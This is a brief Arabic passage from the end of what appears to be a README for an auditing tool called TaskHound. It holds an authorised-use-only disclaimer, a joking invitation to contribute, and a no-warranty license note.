TaskHound هي أداة تدقيق وتعليمية بشكل صارم. استخدمها فقط في البيئات التي تملكها أو لديك إذن صريح لاختبارها. بجدية. لا تكن وغدًا.

المساهمة

نرحب بطلبات السحب (PRs). نصف هذا كان ترميزًا ناتجًا عن الكافيين، لذا لا تتوقع المعجزات.

الترخيص

استخدم بمسؤولية. لا يوجد ضمان. انظر LICENSE للتفاصيل.

الفئات